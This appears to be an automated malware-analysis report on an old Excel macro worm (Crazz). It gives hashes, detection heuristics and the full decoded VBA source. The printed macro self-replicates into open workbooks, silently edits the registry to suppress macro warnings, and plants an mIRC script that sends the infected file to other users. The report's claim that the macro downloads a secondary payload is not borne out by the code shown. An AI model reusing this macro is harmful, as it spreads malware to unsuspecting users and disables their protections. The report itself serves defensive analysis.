Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 546ee838d43807f4…

MALICIOUS

Office (OLE)

20.5 KB Created: 1997-01-08 22:48:59 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 9bc8af42353149f7213a78e8edd4502f SHA-1: 179b25625ece89a564504c920f5f233e2479bad5 SHA-256: 546ee838d43807f436ee212ed163268e27e748139405b047bef07be582e2826f
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The file is an Excel document containing a Workbook_Open VBA macro. This macro utilizes the Shell() function, indicating an attempt to execute external commands. The macro is also detected as a known trojan (Xls.Trojan.Crazz-1) by ClamAV, suggesting it's designed to download and execute a secondary payload.

Heuristics 5

  • ClamAV: Xls.Trojan.Crazz-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Crazz-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3174 bytes
SHA-256: 03043ee662332579a5d7c7f0c95f56505838d230222bc11528ec6aa9e3507bd7
Detection
ClamAV: Xls.Trojan.Crazz-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'Crazz
Private Sub Workbook_Open()
Call Crazz
End Sub
Function crypt(a)
For i = 1 To Len(a)
crypt = crypt & Chr(Asc(Mid(a, i, 1)) Xor 133)
Next
End Function
Private Sub Crazz()
On Error Resume Next
Set ths = ThisWorkbook.VBProject.VBComponents("ThisWorkBook").CodeModule
mycode = ths.Lines(1, 100)
ThisWorkbook.SaveCopyAs "C:\windows\Not2open.xls"
With Application
.ScreenUpdating = 0
.DisplayAlerts = 0
.EnableCancelKey = xlDisabled
.DisplayStatusBar = 0
End With
If UCase(Dir("c:\windows\crazz.bak")) <> "CRAZZ.BAK" Then
 Open "c:\windows\crazz.bak" For Output As 1
 Print #1, "REGEDIT4"
 Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel]"
 Print #1, """Options6""=dword:00000000"
 Close 1
 Shell "regedit /s c:\windows\crazz.bak", vbHide
End If
For i = 1 To Workbooks.Count
With Workbooks(i).VBProject.VBComponents("ThisWorkBook").CodeModule
    .DeleteLines 1, .CountOfLines
    .AddFromString mycode
End With
ActiveWorkbook.SaveAs ActiveWorkbook.FullName
Next
Dim dta(4) As String
Open "c:\windows\system\crazz.ini" For Output As #1
dta(0) = "n0=[Script]"
dta(1) = "n1=ON 1:JOIN:#: { /if ( $nick == $me ) {halt}"
dta(2) = "n2= /dcc send $nick C:\windows\Not2open.xls"
dta(3) = "n3=}"
For i = 0 To 3
Print #1, dta(i)
Next
Close #1
Shell "Copy c:\windows\system\crazz.ini c:\Progra~1\mirc32\system\script.ini /Y", vbHide
Shell "Copy c:\windows\system\crazz.ini c:\Mirc32\system\script.ini /Y", vbHide
Shell "Copy c:\windows\system\crazz.ini c:\Progra~1\mirc\system\script.ini /Y", vbHide
Shell "Copy c:\windows\system\crazz.ini c:\mirc\system\script.ini /Y", vbHide
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.